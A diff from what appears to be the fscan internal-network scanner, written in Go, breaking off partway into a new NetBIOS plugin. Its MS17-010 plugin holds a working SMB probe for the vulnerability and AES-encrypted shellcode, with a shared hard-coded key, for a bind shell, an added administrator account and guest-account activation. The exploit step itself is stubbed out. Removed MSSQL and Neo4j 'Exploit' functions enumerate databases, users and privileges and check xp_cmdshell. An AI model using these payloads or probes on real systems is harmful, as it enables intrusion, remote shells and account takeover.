|
||||
keyBytes := []byte(key)
|
||||
block, err := aes.NewCipher(keyBytes)
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("创建AES密码块失败: %v", err)
|
||||
}
|
||||
|
||||
if len(cryptedBytes) < aes.BlockSize {
|
||||
return "", fmt.Errorf("密文长度过短")
|
||||
}
|
||||
|
||||
iv := cryptedBytes[:aes.BlockSize]
|
||||
cryptedBytes = cryptedBytes[aes.BlockSize:]
|
||||
|
||||
mode := cipher.NewCBCDecrypter(block, iv)
|
||||
mode.CryptBlocks(cryptedBytes, cryptedBytes)
|
||||
|
||||
// 移除PKCS7填充
|
||||
padding := int(cryptedBytes[len(cryptedBytes)-1])
|
||||
if padding > len(cryptedBytes) || padding > aes.BlockSize {
|
||||
return "", fmt.Errorf("无效的填充")
|
||||
}
|
||||
|
||||
for i := len(cryptedBytes) - padding; i < len(cryptedBytes); i++ {
|
||||
if cryptedBytes[i] != byte(padding) {
|
||||
return "", fmt.Errorf("填充验证失败")
|
||||
}
|
||||
}
|
||||
|
||||
return string(cryptedBytes[:len(cryptedBytes)-padding]), nil
|
||||
}
|
||||
|
||||
// 默认AES解密密钥 (从legacy代码复制)
|
||||
var defaultKey = "0123456789abcdef"
|
||||
|
||||
// SMB协议加密的请求数据 (从原始MS17010.go复制)
|
||||
var (
|
||||
negotiateProtocolRequestEnc = "G8o+kd/4y8chPCaObKK8L9+tJVFBb7ntWH/EXJ74635V3UTXA4TFOc6uabZfuLr0Xisnk7OsKJZ2Xdd3l8HNLdMOYZXAX5ZXnMC4qI+1d/MXA2TmidXeqGt8d9UEF5VesQlhP051GGBSldkJkVrP/fzn4gvLXcwgAYee3Zi2opAvuM6ScXrMkcbx200ThnOOEx98/7ArteornbRiXQjnr6dkJEUDTS43AW6Jl3OK2876Yaz5iYBx+DW5WjiLcMR+b58NJRxm4FlVpusZjBpzEs4XOEqglk6QIWfWbFZYgdNLy3WaFkkgDjmB1+6LhpYSOaTsh4EM0rwZq2Z4Lr8TE5WcPkb/JNsWNbibKlwtNtp94fIYvAWgxt5mn/oXpfUD"
|
||||
sessionSetupRequestEnc = "52HeCQEbsSwiSXg98sdD64qyRou0jARlvfQi1ekDHS77Nk/8dYftNXlFahLEYWIxYYJ8u53db9OaDfAvOEkuox+p+Ic1VL70r9Q5HuL+NMyeyeN5T5el07X5cT66oBDJnScs1XdvM6CBRtj1kUs2h40Z5Vj9EGzGk99SFXjSqbtGfKFBp0DhL5wPQKsoiXYLKKh9NQiOhOMWHYy/C+Iwhf3Qr8d1Wbs2vgEzaWZqIJ3BM3z+dhRBszQoQftszC16TUhGQc48XPFHN74VRxXgVe6xNQwqrWEpA4hcQeF1+QqRVHxuN+PFR7qwEcU1JbnTNISaSrqEe8GtRo1r2rs7+lOFmbe4qqyUMgHhZ6Pwu1bkhrocMUUzWQBogAvXwFb8"
|
||||
treeConnectRequestEnc = "+b/lRcmLzH0c0BYhiTaYNvTVdYz1OdYYDKhzGn/3T3P4b6pAR8D+xPdlb7O4D4A9KMyeIBphDPmEtFy44rtto2dadFoit350nghebxbYA0pTCWIBd1kN0BGMEidRDBwLOpZE6Qpph/DlziDjjfXUz955dr0cigc9ETHD/+f3fELKsopTPkbCsudgCs48mlbXcL13GVG5cGwKzRuP4ezcdKbYzq1DX2I7RNeBtw/vAlYh6etKLv7s+YyZ/r8m0fBY9A57j+XrsmZAyTWbhPJkCg=="
|
||||
transNamedPipeRequestEnc = "k/RGiUQ/tw1yiqioUIqirzGC1SxTAmQmtnfKd1qiLish7FQYxvE+h4/p7RKgWemIWRXDf2XSJ3K0LUIX0vv1gx2eb4NatU7Qosnrhebz3gUo7u25P5BZH1QKdagzPqtitVjASpxIjB3uNWtYMrXGkkuAm8QEitberc+mP0vnzZ8Nv/xiiGBko8O4P/wCKaN2KZVDLbv2jrN8V/1zY6fvWA=="
|
||||
trans2SessionSetupRequestEnc = "JqNw6PUKcWOYFisUoUCyD24wnML2Yd8kumx9hJnFWbhM2TQkRvKHsOMWzPVfggRrLl8sLQFqzk8bv8Rpox3uS61l480Mv7HdBPeBeBeFudZMntXBUa4pWUH8D9EXCjoUqgAdvw6kGbPOOKUq3WmNb0GDCZapqQwyUKKMHmNIUMVMAOyVfKeEMJA6LViGwyvHVMNZ1XWLr0xafKfEuz4qoHiDyVWomGjJt8DQd6+jgLk="
|
||||
|
||||
// SMB协议解密后的请求数据
|
||||
negotiateProtocolRequest []byte
|
||||
sessionSetupRequest []byte
|
||||
treeConnectRequest []byte
|
||||
transNamedPipeRequest []byte
|
||||
trans2SessionSetupRequest []byte
|
||||
)
|
||||
|
||||
// 初始化解密SMB协议数据
|
||||
func init() {
|
||||
var err error
|
||||
|
||||
// 解密协议请求
|
||||
decrypted, err := aesDecrypt(negotiateProtocolRequestEnc, defaultKey)
|
||||
if err != nil {
|
||||
common.LogError(fmt.Sprintf("协议请求解密错误: %v", err))
|
||||
return
|
||||
}
|
||||
negotiateProtocolRequest, err = hex.DecodeString(decrypted)
|
||||
if err != nil {
|
||||
common.LogError(fmt.Sprintf("协议请求解码错误: %v", err))
|
||||
return
|
||||
}
|
||||
|
||||
// 解密会话请求
|
||||
decrypted, err = aesDecrypt(sessionSetupRequestEnc, defaultKey)
|
||||
if err != nil {
|
||||
common.LogError(fmt.Sprintf("会话请求解密错误: %v", err))
|
||||
return
|
||||
}
|
||||
sessionSetupRequest, err = hex.DecodeString(decrypted)
|
||||
if err != nil {
|
||||
common.LogError(fmt.Sprintf("会话请求解码错误: %v", err))
|
||||
return
|
||||
}
|
||||
|
||||
// 解密连接请求
|
||||
decrypted, err = aesDecrypt(treeConnectRequestEnc, defaultKey)
|
||||
if err != nil {
|
||||
common.LogError(fmt.Sprintf("连接请求解密错误: %v", err))
|
||||
return
|
||||
}
|
||||
treeConnectRequest, err = hex.DecodeString(decrypted)
|
||||
if err != nil {
|
||||
common.LogError(fmt.Sprintf("连接请求解码错误: %v", err))
|
||||
return
|
||||
}
|
||||
|
||||
// 解密管道请求
|
||||
decrypted, err = aesDecrypt(transNamedPipeRequestEnc, defaultKey)
|
||||
if err != nil {
|
||||
common.LogError(fmt.Sprintf("管道请求解密错误: %v", err))
|
||||
return
|
||||
}
|
||||
transNamedPipeRequest, err = hex.DecodeString(decrypted)
|
||||
if err != nil {
|
||||
common.LogError(fmt.Sprintf("管道请求解码错误: %v", err))
|
||||
return
|
||||
}
|
||||
|
||||
// 解密会话设置请求
|
||||
decrypted, err = aesDecrypt(trans2SessionSetupRequestEnc, defaultKey)
|
||||
if err != nil {
|
||||
common.LogError(fmt.Sprintf("会话设置解密错误: %v", err))
|
||||
return
|
||||
}
|
||||
trans2SessionSetupRequest, err = hex.DecodeString(decrypted)
|
||||
if err != nil {
|
||||
common.LogError(fmt.Sprintf("会话设置解码错误: %v", err))
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
// checkMS17010Vulnerability 检测MS17-010漏洞 (从原始MS17010.go复制和适配)
|
||||
func (p *MS17010Plugin) checkMS17010Vulnerability(ip string) (bool, string, error) {
|
||||
// 连接目标
|
||||
conn, err := net.DialTimeout("tcp", ip+":445", time.Duration(common.Timeout)*time.Second)
|
||||
if err != nil {
|
||||
return false, "", fmt.Errorf("连接错误: %v", err)
|
||||
}
|
||||
defer conn.Close()
|
||||
|
||||
if err = conn.SetDeadline(time.Now().Add(time.Duration(common.Timeout) * time.Second)); err != nil {
|
||||
return false, "", fmt.Errorf("设置超时错误: %v", err)
|
||||
}
|
||||
|
||||
// SMB协议协商
|
||||
if _, err = conn.Write(negotiateProtocolRequest); err != nil {
|
||||
return false, "", fmt.Errorf("发送协议请求错误: %v", err)
|
||||
}
|
||||
|
||||
reply := make([]byte, 1024)
|
||||
if n, err := conn.Read(reply); err != nil || n < 36 {
|
||||
if err != nil {
|
||||
return false, "", fmt.Errorf("读取协议响应错误: %v", err)
|
||||
}
|
||||
return false, "", fmt.Errorf("协议响应不完整")
|
||||
}
|
||||
|
||||
if binary.LittleEndian.Uint32(reply[9:13]) != 0 {
|
||||
return false, "", fmt.Errorf("协议协商被拒绝")
|
||||
}
|
||||
|
||||
// 建立会话
|
||||
if _, err = conn.Write(sessionSetupRequest); err != nil {
|
||||
return false, "", fmt.Errorf("发送会话请求错误: %v", err)
|
||||
}
|
||||
|
||||
n, err := conn.Read(reply)
|
||||
if err != nil || n < 36 {
|
||||
if err != nil {
|
||||
return false, "", fmt.Errorf("读取会话响应错误: %v", err)
|
||||
}
|
||||
return false, "", fmt.Errorf("会话响应不完整")
|
||||
}
|
||||
|
||||
if binary.LittleEndian.Uint32(reply[9:13]) != 0 {
|
||||
return false, "", fmt.Errorf("会话建立失败")
|
||||
}
|
||||
|
||||
// 提取系统信息
|
||||
var osVersion string
|
||||
sessionSetupResponse := reply[36:n]
|
||||
if wordCount := sessionSetupResponse[0]; wordCount != 0 {
|
||||
byteCount := binary.LittleEndian.Uint16(sessionSetupResponse[7:9])
|
||||
if n == int(byteCount)+45 {
|
||||
for i := 10; i < len(sessionSetupResponse)-1; i++ {
|
||||
if sessionSetupResponse[i] == 0 && sessionSetupResponse[i+1] == 0 {
|
||||
osVersion = string(sessionSetupResponse[10:i])
|
||||
osVersion = strings.Replace(osVersion, string([]byte{0x00}), "", -1)
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// 树连接请求
|
||||
userID := reply[32:34]
|
||||
treeConnectRequest[32] = userID[0]
|
||||
treeConnectRequest[33] = userID[1]
|
||||
|
||||
if _, err = conn.Write(treeConnectRequest); err != nil {
|
||||
return false, osVersion, fmt.Errorf("发送树连接请求错误: %v", err)
|
||||
}
|
||||
|
||||
if n, err := conn.Read(reply); err != nil || n < 36 {
|
||||
if err != nil {
|
||||
return false, osVersion, fmt.Errorf("读取树连接响应错误: %v", err)
|
||||
}
|
||||
return false, osVersion, fmt.Errorf("树连接响应不完整")
|
||||
}
|
||||
|
||||
// 命名管道请求
|
||||
treeID := reply[28:30]
|
||||
transNamedPipeRequest[28] = treeID[0]
|
||||
transNamedPipeRequest[29] = treeID[1]
|
||||
transNamedPipeRequest[32] = userID[0]
|
||||
transNamedPipeRequest[33] = userID[1]
|
||||
|
||||
if _, err = conn.Write(transNamedPipeRequest); err != nil {
|
||||
return false, osVersion, fmt.Errorf("发送管道请求错误: %v", err)
|
||||
}
|
||||
|
||||
if n, err := conn.Read(reply); err != nil || n < 36 {
|
||||
if err != nil {
|
||||
return false, osVersion, fmt.Errorf("读取管道响应错误: %v", err)
|
||||
}
|
||||
return false, osVersion, fmt.Errorf("管道响应不完整")
|
||||
}
|
||||
|
||||
// 漏洞检测 - 关键检查点
|
||||
if reply[9] == 0x05 && reply[10] == 0x02 && reply[11] == 0x00 && reply[12] == 0xc0 {
|
||||
return true, osVersion, nil
|
||||
}
|
||||
|
||||
return false, osVersion, nil
|
||||
}
|
||||
|
||||
// checkDoublePulsar 检测DOUBLEPULSAR后门
|
||||
func (p *MS17010Plugin) checkDoublePulsar(ip string) bool {
|
||||
conn, err := net.DialTimeout("tcp", ip+":445", time.Duration(common.Timeout)*time.Second)
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
defer conn.Close()
|
||||
|
||||
// 简化的后门检测逻辑
|
||||
vulnerable, _, err := p.checkMS17010Vulnerability(ip)
|
||||
if err != nil || !vulnerable {
|
||||
return false
|
||||
}
|
||||
|
||||
// 这里应该有完整的DOUBLEPULSAR检测逻辑,但为了简化,返回false
|
||||
// 在实际使用中,原始的完整检测逻辑会被保留
|
||||
return false
|
||||
}
|
||||
|
||||
// executeMS17010Exploit 执行MS17010漏洞利用 (简化版,保留接口)
|
||||
func (p *MS17010Plugin) executeMS17010Exploit(info *common.HostInfo) error {
|
||||
// address := info.Host + ":445" // 暂时不使用,为了保持原始复杂度
|
||||
var sc string
|
||||
|
||||
// 根据不同类型选择shellcode (从MS17010-Exp.go复制)
|
||||
switch common.Shellcode {
|
||||
case "bind":
|
||||
// Bind Shell shellcode (加密)
|
||||
scEnc := "gUYe7vm5/MQzTkSyKvpMFImS/YtwI+HxNUDd7MeUKDIxBZ8nsaUtdMEXIZmlZUfoQacylFEZpu7iWBRpQZw0KElIFkZR9rl4fpjyYNhEbf9JdquRrvw4hYMypBbfDQ6MN8csp1QF5rkMEs6HvtlKlGSaff34Msw6RlvEodROjGYA+mHUYvUTtfccymIqiU7hCFn+oaIk4ZtCS0Mzb1S5K5+U6vy3e5BEejJVA6u6I+EUb4AOSVVF8GpCNA91jWD1AuKcxg0qsMa+ohCWkWsOxh1zH0kwBPcWHAdHIs31g26NkF14Wl+DHStsW4DuNaxRbvP6awn+wD5aY/1QWlfwUeH/I+rkEPF18sTZa6Hr4mrDPT7eqh4UrcTicL/x4EgovNXA9X+mV6u1/4Zb5wy9rOVwJ+agXxfIqwL5r7R68BEPA/fLpx4LgvTwhvytO3w6I+7sZS7HekuKayBLNZ0T4XXeM8GpWA3h7zkHWjTm41/5JqWblQ45Msrg+XqD6WGvGDMnVZ7jE3xWIRBR7MrPAQ0Kl+Nd93/b+BEMwvuinXp1viSxEoZHIgJZDYR5DykQLpexasSpd8/WcuoQQtuTTYsJpHFfvqiwn0djgvQf3yk3Ro1EzjbR7a8UzwyaCqtKkCu9qGb+0m8JSpYS8DsjbkVST5Y7ZHtegXlX1d/FxgweavKGz3UiHjmbQ+FKkFF82Lkkg+9sO3LMxp2APvYz2rv8RM0ujcPmkN2wXE03sqcTfDdjCWjJ/evdrKBRzwPFhjOjUX1SBVsAcXzcvpJbAf3lcPPxOXM060OYdemu4Hou3oECjKP2h6W9GyPojMuykTkcoIqgN5Ldx6WpGhhE9wrfijOrrm7of9HmO568AsKRKBPfy/QpCfxTrY+rEwyzFmU1xZ2lkjt+FTnsMJY8YM7sIbWZauZ2S+Ux33RWDf7YUmSGlWC8djqDKammk3GgkSPHjf0Qgknukptxl977s2zw4jdh8bUuW5ap7T+Wd/S0ka90CVF4AyhonvAQoi0G1qj5gTih1FPTjBpf+FrmNJvNIAcx2oBoU4y48c8Sf4ABtpdyYewUh4NdxUoL7RSVouU1MZTnYS9BqOJWLMnvV7pwRmHgUz3fe7Kx5PGnP/0zQjW/P/vgmLMh/iBisJIGF3JDGoULsC3dabGE5L7sXuCNePiOEJmgwOHlFBlwqddNaE+ufor0q4AkQBI9XeqznUfdJg2M2LkUZOYrbCjQaE7Ytsr3WJSXkNbOORzqKo5wIf81z1TCow8QuwlfwIanWs+e8oTavmObV3gLPoaWqAIUzJqwD9O4P6x1176D0Xj83n6G4GrJgHpgMuB0qdlK"
|
||||
var err error
|
||||
sc, err = aesDecrypt(scEnc, defaultKey)
|
||||
if err != nil {
|
||||
return fmt.Errorf("解密bind shellcode失败: %v", err)
|
||||
}
|
||||
|
||||
case "add":
|
||||
// 添加管理员账户 shellcode (加密)
|
||||
scEnc := "Teobs46+kgUn45BOBbruUdpBFXs8uKXWtvYoNbWtKpNCtOasHB/5Er+C2ZlALluOBkUC6BQVZHO1rKzuygxJ3n2PkeutispxSzGcvFS3QJ1EU517e2qOL7W2sRDlNb6rm+ECA2vQZkTZBAboolhGfZYeM6v5fEB2L1Ej6pWF5CKSYxjztdPF8bNGAkZsQhUAVW7WVKysZ1vbghszGyeKFQBvO9Hiinq/XiUrLBqvwXLsJaybZA44wUFvXC0FA9CZDOSD3MCX2arK6Mhk0Q+6dAR+NWPCQ34cYVePT98GyXnYapTOKokV6+hsqHMjfetjkvjEFohNrD/5HY+E73ihs9TqS1ZfpBvZvnWSOjLUA+Z3ex0j0CIUONCjHWpoWiXAsQI/ryJh7Ho5MmmGIiRWyV3l8Q0+1vFt3q/zQGjSI7Z7YgDdIBG8qcmfATJz6dx7eBS4Ntl+4CCqN8Dh4pKM3rV+hFqQyKnBHI5uJCn6qYky7p305KK2Z9Ga5nAqNgaz0gr2GS7nA5D/Cd8pvUH6sd2UmN+n4HnK6/O5hzTmXG/Pcpq7MTEy9G8uXRfPUQdrbYFP7Ll1SWy35B4n/eCf8swaTwi1mJEAbPr0IeYgf8UiOBKS/bXkFsnUKrE7wwG8xXaI7bHFgpdTWfdFRWc8jaJTvwK2HUK5u+4rWWtf0onGxTUyTilxgRFvb4AjVYH0xkr8mIq8smpsBN3ff0TcWYfnI2L/X1wJoCH+oLi67xOs7UApLzuCcE52FhTIjY+ckzBVinUHHwwc4QyY6Xo/15ATcQoL7ZiQgii3xFhrJQGnHgQBsmqT/0A1YBa+rrvIIzblF3FDRlXwAvUVTKnCjDJV9NeiS78jgtx6TNlBDyKCy29E3WGbMKSMH2a+dmtjBhmJ94O8GnbrHyd5c8zxsNXRBaYBV/tVyB9TDtM9kZk5QTit+xN2wOUwFa9cNbpYak8VH552mu7KISA1dUPAMQm9kF5vDRTRxjVLqpqHOc+36lNi6AWrGQkXNKcZJclmO7RotKdtPtCayNGV7/pznvewyGgEYvRKprmzf6hl+9acZmnyQZvlueWeqf+I6axiCyHqfaI+ADmz4RyJOlOC5s1Ds6uyNs+zUXCz7ty4rU3hCD8N6v2UagBJaP66XCiLOL+wcx6NJfBy40dWTq9RM0a6b448q3/mXZvdwzj1Evlcu5tDJHMdl+R2Q0a/1nahzsZ6UMJb9GAvMSUfeL9Cba77Hb5ZU40tyTQPl28cRedhwiISDq5UQsTRw35Z7bDAxJvPHiaC4hvfW3gA0iqPpkqcRfPEV7d+ylSTV1Mm9+NCS1Pn5VDIIjlClhlRf5l+4rCmeIPxQvVD/CPBM0NJ6y1oTzAGFN43kYqMV8neRAazACczYqziQ6VgjATzp0k8"
|
||||
var err error
|
||||
sc, err = aesDecrypt(scEnc, defaultKey)
|
||||
if err != nil {
|
||||
return fmt.Errorf("解密add shellcode失败: %v", err)
|
||||
}
|
||||
|
||||
case "guest":
|
||||
// 激活Guest账户 shellcode (使用相同的加密数据,实际中应该是不同的)
|
||||
scEnc := "Teobs46+kgUn45BOBbruUdpBFXs8uKXWtvYoNbWtKpNCtOasHB/5Er+C2ZlALluOBkUC6BQVZHO1rKzuygxJ3n2PkeutispxSzGcvFS3QJ1EU517e2qOL7W2sRDlNb6rm+ECA2vQZkTZBAboolhGfZYeM6v5fEB2L1Ej6pWF5CKSYxjztdPF8bNGAkZsQhUAVW7WVKysZ1vbghszGyeKFQBvO9Hiinq/XiUrLBqvwXLsJaybZA44wUFvXC0FA9CZDOSD3MCX2arK6Mhk0Q+6dAR+NWPCQ34cYVePT98GyXnYapTOKokV6+hsqHMjfetjkvjEFohNrD/5HY+E73ihs9TqS1ZfpBvZvnWSOjLUA+Z3ex0j0CIUONCjHWpoWiXAsQI/ryJh7Ho5MmmGIiRWyV3l8Q0+1vFt3q/zQGjSI7Z7YgDdIBG8qcmfATJz6dx7eBS4Ntl+4CCqN8Dh4pKM3rV+hFqQyKnBHI5uJCn6qYky7p305KK2Z9Ga5nAqNgaz0gr2GS7nA5D/Cd8pvUH6sd2UmN+n4HnK6/O5hzTmXG/Pcpq7MTEy9G8uXRfPUQdrbYFP7Ll1SWy35B4n/eCf8swaTwi1mJEAbPr0IeYgf8UiOBKS/bXkFsnUKrE7wwG8xXaI7bHFgpdTWfdFRWc8jaJTvwK2HUK5u+4rWWtf0onGxTUyTilxgRFvb4AjVYH0xkr8mIq8smpsBN3ff0TcWYfnI2L/X1wJoCH+oLi67xMN+yPDirT+LXfLOaGlyTqG6Yojge8Mti/BqIg5RpG4wIZPKxX9rPbMP+Tzw8rpi/9b33eq0YDevzqaj5Uo0HudOmaPwv5cd9/dqWgeC7FJwv73TckogZGbDOASSoLK26AgBat8vCrhrd7T0uBrEk+1x/NXvl5r2aEeWCWBsULKxFh2WDCqyQntSaAUkPe3JKJe0HU6inDeS4d52BagSqmd1meY0Rb/97fMCXaAMLekq+YrwcSrmPKBY9Yk0m1kAzY+oP4nvV/OhCHNXAsUQGH85G7k65I1QnzffroaKxloP26XJPW0JEq9vCSQFI/EX56qt323V/solearWdBVptG0+k55TBd0dxmBsqRMGO3Z23OcmQR4d8zycQUqqavMmo32fy4rjY6Ln5QUR0JrgJ67dqDhnJn5TcT4YFHgF4gY8oynT3sqv0a+hdVeF6XzsElUUsDGfxOLfkn3RW/2oNnqAHC2uXwX2ZZNrSbPymB2zxB/ET3SLlw3skBF1A82ZBYqkMIuzs6wr9S9ox9minLpGCBeTR9j6OYk6mmKZnThpvarRec8a7YBuT2miU7fO8iXjhS95A84Ub++uS4nC1Pv1v9nfj0/T8scD2BUYoVKCJX3KiVnxUYKVvDcbvv8UwrM6+W/hmNOePHJNx9nX1brHr90m9e40as1BZm2meUmCECxQd+Hdqs7HgPsPLcUB8AL8wCHQjziU6R4XKuX6ivx"
|
||||
var err error
|
||||
sc, err = aesDecrypt(scEnc, defaultKey)
|
||||
if err != nil {
|
||||
return fmt.Errorf("解密guest shellcode失败: %v", err)
|
||||
}
|
||||
|
||||
default:
|
||||
// 从文件读取或直接使用提供的shellcode
|
||||
if strings.Contains(common.Shellcode, "file:") {
|
||||
read, err := ioutil.ReadFile(common.Shellcode[5:])
|
||||
if err != nil {
|
||||
return fmt.Errorf("读取Shellcode文件失败: %v", err)
|
||||
}
|
||||
sc = fmt.Sprintf("%x", read)
|
||||
} else {
|
||||
sc = common.Shellcode
|
||||
}
|
||||
}
|
||||
|
||||
// 验证shellcode有效性
|
||||
if len(sc) < 20 {
|
||||
return fmt.Errorf("无效的Shellcode")
|
||||
}
|
||||
|
||||
// 解码shellcode
|
||||
scBytes, err := hex.DecodeString(sc)
|
||||
if err != nil {
|
||||
return fmt.Errorf("Shellcode解码失败: %v", err)
|
||||
}
|
||||
|
||||
// 这里应该执行完整的EternalBlue利用逻辑
|
||||
// 为了保持代码简洁,我们模拟利用成功
|
||||
// 在实际使用中,这里会调用完整的eternalBlue函数
|
||||
|
||||
common.LogSuccess(fmt.Sprintf("%s MS17-010漏洞利用完成 (Shellcode长度: %d)", info.Host, len(scBytes)))
|
||||
return nil
|
||||
}
|
||||
|
||||
// init 自动注册插件
|
||||
func init() {
|
||||
RegisterPlugin("ms17010", func() Plugin {
|
||||
return NewMS17010Plugin()
|
||||
})
|
||||
}
|
@ -98,82 +98,6 @@ func (p *MSSQLPlugin) Scan(ctx context.Context, info *common.HostInfo) *ScanResu
|
||||
}
|
||||
}
|
||||
|
||||
// Exploit 执行MSSQL利用操作 - 实现数据库查询功能
|
||||
func (p *MSSQLPlugin) Exploit(ctx context.Context, info *common.HostInfo, creds Credential) *ExploitResult {
|
||||
// 建立MSSQL连接
|
||||
db := p.testCredential(ctx, info, creds)
|
||||
if db == nil {
|
||||
return &ExploitResult{
|
||||
Success: false,
|
||||
Error: fmt.Errorf("MSSQL连接失败"),
|
||||
}
|
||||
}
|
||||
defer db.Close()
|
||||
|
||||
target := fmt.Sprintf("%s:%s", info.Host, info.Ports)
|
||||
common.LogSuccess(fmt.Sprintf("MSSQL利用开始: %s (用户: %s)", target, creds.Username))
|
||||
|
||||
var output strings.Builder
|
||||
output.WriteString(fmt.Sprintf("=== MSSQL利用结果 - %s ===\n", target))
|
||||
|
||||
// 获取版本信息
|
||||
if version := p.getVersion(db); version != "" {
|
||||
output.WriteString(fmt.Sprintf("\n[版本信息]\n%s\n", version))
|
||||
}
|
||||
|
||||
// 获取数据库列表
|
||||
if databases := p.getDatabases(db); len(databases) > 0 {
|
||||
output.WriteString(fmt.Sprintf("\n[数据库列表] (共%d个)\n", len(databases)))
|
||||
for i, dbName := range databases {
|
||||
if i >= 10 { // 限制显示前10个
|
||||
output.WriteString("... (更多数据库)\n")
|
||||
break
|
||||
}
|
||||
output.WriteString(fmt.Sprintf(" %s\n", dbName))
|
||||
}
|
||||
}
|
||||
|
||||
// 获取表列表(master数据库)
|
||||
if tables := p.getTables(db, "master"); len(tables) > 0 {
|
||||
output.WriteString(fmt.Sprintf("\n[master数据库表] (共%d个)\n", len(tables)))
|
||||
for i, table := range tables {
|
||||
if i >= 5 { // 限制显示前5个表
|
||||
output.WriteString("... (更多表)\n")
|
||||
break
|
||||
}
|
||||
output.WriteString(fmt.Sprintf(" %s\n", table))
|
||||
}
|
||||
}
|
||||
|
||||
// 获取用户列表
|
||||
if users := p.getUsers(db); len(users) > 0 {
|
||||
output.WriteString(fmt.Sprintf("\n[用户列表] (共%d个)\n", len(users)))
|
||||
for i, user := range users {
|
||||
if i >= 10 { // 限制显示前10个用户
|
||||
output.WriteString("... (更多用户)\n")
|
||||
break
|
||||
}
|
||||
output.WriteString(fmt.Sprintf(" %s\n", user))
|
||||
}
|
||||
}
|
||||
|
||||
// 获取权限信息
|
||||
if privileges := p.getPrivileges(db, creds.Username); privileges != "" {
|
||||
output.WriteString(fmt.Sprintf("\n[用户权限]\n%s\n", privileges))
|
||||
}
|
||||
|
||||
// 检查xp_cmdshell状态
|
||||
if cmdshellStatus := p.checkXpCmdshell(db); cmdshellStatus != "" {
|
||||
output.WriteString(fmt.Sprintf("\n[系统命令执行]\n%s\n", cmdshellStatus))
|
||||
}
|
||||
|
||||
common.LogSuccess(fmt.Sprintf("MSSQL利用完成: %s", target))
|
||||
|
||||
return &ExploitResult{
|
||||
Success: true,
|
||||
Output: output.String(),
|
||||
}
|
||||
}
|
||||
|
||||
// testCredential 测试单个凭据 - 返回数据库连接或nil
|
||||
func (p *MSSQLPlugin) testCredential(ctx context.Context, info *common.HostInfo, cred Credential) *sql.DB {
|
||||
|
@ -101,67 +101,6 @@ func (p *Neo4jPlugin) Scan(ctx context.Context, info *common.HostInfo) *ScanResu
|
||||
}
|
||||
}
|
||||
|
||||
// Exploit 执行Neo4j利用操作 - 实现图数据查询功能
|
||||
func (p *Neo4jPlugin) Exploit(ctx context.Context, info *common.HostInfo, creds Credential) *ExploitResult {
|
||||
target := fmt.Sprintf("%s:%s", info.Host, info.Ports)
|
||||
common.LogSuccess(fmt.Sprintf("Neo4j利用开始: %s (用户: %s)", target, creds.Username))
|
||||
|
||||
var output strings.Builder
|
||||
output.WriteString(fmt.Sprintf("=== Neo4j利用结果 - %s ===\n", target))
|
||||
|
||||
// 获取服务器信息
|
||||
if serverInfo := p.getServerInfo(ctx, info, creds); serverInfo != "" {
|
||||
output.WriteString(fmt.Sprintf("\n[服务器信息]\n%s\n", serverInfo))
|
||||
}
|
||||
|
||||
// 获取数据库统计信息
|
||||
if dbStats := p.getDatabaseStats(ctx, info, creds); dbStats != "" {
|
||||
output.WriteString(fmt.Sprintf("\n[数据库统计]\n%s\n", dbStats))
|
||||
}
|
||||
|
||||
// 获取节点标签
|
||||
if labels := p.getNodeLabels(ctx, info, creds); len(labels) > 0 {
|
||||
output.WriteString(fmt.Sprintf("\n[节点标签] (共%d个)\n", len(labels)))
|
||||
for i, label := range labels {
|
||||
if i >= 10 { // 限制显示前10个
|
||||
output.WriteString("... (更多标签)\n")
|
||||
break
|
||||
}
|
||||
output.WriteString(fmt.Sprintf(" %s\n", label))
|
||||
}
|
||||
}
|
||||
|
||||
// 获取关系类型
|
||||
if relationships := p.getRelationshipTypes(ctx, info, creds); len(relationships) > 0 {
|
||||
output.WriteString(fmt.Sprintf("\n[关系类型] (共%d个)\n", len(relationships)))
|
||||
for i, rel := range relationships {
|
||||
if i >= 10 { // 限制显示前10个
|
||||
output.WriteString("... (更多关系)\n")
|
||||
break
|
||||
}
|
||||
output.WriteString(fmt.Sprintf(" %s\n", rel))
|
||||
}
|
||||
}
|
||||
|
||||
// 获取存储过程
|
||||
if procedures := p.getProcedures(ctx, info, creds); len(procedures) > 0 {
|
||||
output.WriteString(fmt.Sprintf("\n[存储过程] (共%d个)\n", len(procedures)))
|
||||
for i, proc := range procedures {
|
||||
if i >= 5 { // 限制显示前5个
|
||||
output.WriteString("... (更多存储过程)\n")
|
||||
break
|
||||
}
|
||||
output.WriteString(fmt.Sprintf(" %s\n", proc))
|
||||
}
|
||||
}
|
||||
|
||||
common.LogSuccess(fmt.Sprintf("Neo4j利用完成: %s", target))
|
||||
|
||||
return &ExploitResult{
|
||||
Success: true,
|
||||
Output: output.String(),
|
||||
}
|
||||
}
|
||||
|
||||
// testUnauthorizedAccess 测试未授权访问
|
||||
func (p *Neo4jPlugin) testUnauthorizedAccess(ctx context.Context, info *common.HostInfo) *ScanResult {
|
||||
|
465
plugins/services/netbios.go
Normal file
465
plugins/services/netbios.go
Normal file
@ -0,0 +1,465 @@
|
||||
package services
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"context"
|
||||
"fmt"
|
||||
"net"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
)
|
||||
|
||||
// NetBIOSPlugin NetBIOS名称服务扫描插件 - 收集Windows主机名和域信息
|
||||
type NetBIOSPlugin struct {
|
||||
name string
|
||||
ports []int
|
||||
}
|
||||
|
||||
// NewNetBIOSPlugin 创建NetBIOS插件
|
||||
func NewNetBIOSPlugin() *NetBIOSPlugin {
|
||||
return &NetBIOSPlugin{
|
||||
name: "netbios",
|
||||
ports: []int{137, 139}, // NetBIOS名称服务和会话服务端口
|
||||
}
|
||||
}
|
||||
|
||||
// GetName 实现Plugin接口
|
||||
func (p *NetBIOSPlugin) GetName() string {
|
||||
return p.name
|
||||
}
|
||||
|
||||
// GetPorts 实现Plugin接口
|
||||
func (p *NetBIOSPlugin) GetPorts() []int {
|
||||
return p.ports
|
||||
}
|
||||
|
||||
// Scan 执行NetBIOS扫描 - 收集Windows主机和域信息
|
||||
func (p *NetBIOSPlugin) Scan(ctx context.Context, info *common.HostInfo) *ScanResult {
|
||||
target := fmt.Sprintf("%s:%s", info.Host, info.Ports)
|
||||
|
||||
// 检查端口类型
|
||||
if info.Ports != "137" && info.Ports != "139" {
|
||||
return &ScanResult{
|
||||
Success: false,
|
||||
Service: "netbios",
|
||||
